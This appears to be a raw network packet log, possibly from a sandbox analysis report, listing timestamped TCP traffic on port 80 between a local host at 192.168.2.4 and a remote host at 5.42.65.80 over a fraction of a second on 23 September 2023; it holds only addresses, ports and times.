Sep 23, 2023 17:53:23.223912954 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.224090099 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.224176884 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.224214077 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.224652052 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.224720955 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.224757910 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.224762917 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.225543976 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.225595951 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.225596905 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.225662947 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.225702047 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.226495028 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.226790905 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.226830959 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.226870060 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.227173090 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.227189064 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.227216005 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.227255106 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.227303028 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.228169918 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.228247881 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.228286982 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.228290081 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.228524923 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.228559971 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.228568077 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.228652000 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.228702068 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.229307890 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.229473114 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.229521990 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.229530096 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.230047941 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.230065107 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.230088949 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.230806112 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.230823994 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.230854034 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.230911016 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.230959892 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.231390953 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.231473923 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.231520891 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.231545925 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.232125998 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.232171059 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.232182980 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.232264042 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.232306004 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.232889891 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.232938051 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.232983112 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.232988119 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.233625889 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.233669043 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.233692884 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.233724117 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.233764887 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.234564066 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.234608889 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.234687090 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.234704971 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.235241890 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.235286951 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.235327959 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.235431910 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.235476971 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.236270905 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.236330986 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.236372948 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.236394882 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.236819983 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.236859083 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.236939907 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.236994028 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.237034082 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.237652063 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.237737894 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.237756014 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.237781048 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.238329887 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.238377094 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.238378048 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.238408089 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.238444090 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.238949060 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.239052057 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.239092112 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.239118099 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.239664078 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.239753008 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.239840984 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.239888906 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.239924908 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.240643024 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.240715027 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.240752935 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.240753889 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.241494894 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.241539955 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.241544962 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.241621017 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.241668940 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.242002964 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.242054939 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.242089033 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.242093086 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.242779016 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.242820024 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.242846012 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.243318081 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.243360996 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.243432999 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.243491888 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.243537903 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.244263887 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.244302034 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.244338036 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.244349957 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.244889021 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.244931936 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.245209932 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.245372057 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.245418072 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.245490074 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.245604992 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.245654106 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.245713949 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.246330976 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.246349096 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.246366024 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.246375084 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.246412039 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.247004032 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.247051954 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.247093916 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.247107983 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.247786045 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.247833967 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.247873068 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.247973919 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.248014927 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.248665094 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.248747110 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.248797894 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.248837948 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.249418974 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.249471903 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.249485970 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.249516964 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.249564886 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.249949932 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.250104904 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.250144005 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.250161886 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.250782967 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.250827074 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.250852108 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.250957012 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.251003981 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.251552105 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.251602888 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.251645088 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.251652002 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.252396107 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.252433062 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.252451897 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.252470016 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.252518892 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.253081083 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.253201008 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.253237009 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.253252029 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.253765106 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.253822088 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.253901005 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.253936052 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.253979921 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.254694939 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.254796028 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.254831076 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.254839897 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.255280018 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.255316019 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.255328894 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.255902052 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.255954981 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.255986929 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.256022930 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.256067038 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.256593943 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.256630898 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.256676912 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.256678104 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.257339001 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.257374048 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.257386923 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.257458925 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.257510900 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.257930040 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.258064985 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.258112907 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.258157969 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.258716106 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.258760929 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.258764029 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.258800030 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.258846045 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.259552956 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.259589911 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.259644032 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.259660959 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.260200024 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.260248899 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.260282993 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.260318995 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.260363102 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.260945082 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.261003017 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.261058092 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.261109114 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.261751890 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.261807919 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.261837006 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.261904955 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.261950970 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.262470961 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.262506962 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.262550116 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.262584925 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.263078928 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.263145924 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.263273954 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.263412952 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.263467073 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.263911009 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.263947964 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.263998032 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.264003038 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.264653921 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.264704943 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.264758110 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.264794111 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.264843941 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.265458107 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.265495062 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.265548944 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.265563011 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.265697002 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.265742064 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.266562939 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.266599894 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.266643047 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.266686916 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.266724110 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.266769886 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.267335892 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.267390013 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.267426014 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.267442942 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.268119097 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.268163919 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.268170118 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.268233061 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.268269062 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.268275976 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.269090891 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.269129038 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.269145966 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.269248962 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.269298077 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.269321918 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.270030022 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.270077944 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.270118952 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.270237923 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.270283937 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.270318985 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.270901918 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.270951033 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.270996094 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.271080971 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.271123886 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.271127939 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.271940947 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.271989107 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.272005081 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.272073030 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.272116899 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.272133112 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.272895098 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.272942066 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.272943974 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.273010969 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.273046017 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.273055077 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.273869991 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.273906946 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.273921967 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.273996115 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.274032116 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.274055004 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.274779081 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.274830103 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.274864912 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.274955034 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.274991035 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.274997950 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.275846004 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.275882959 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.275896072 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.275959015 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.275999069 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.276027918 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.276736021 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.276772976 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.276850939 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.276859045 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.276895046 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.276915073 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.277839899 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.277875900 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.277889967 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.277934074 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.277973890 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.278001070 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.278665066 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.278702021 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.278716087 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.278737068 CEST	80	49781	5.42.65.80	192.168.2.4
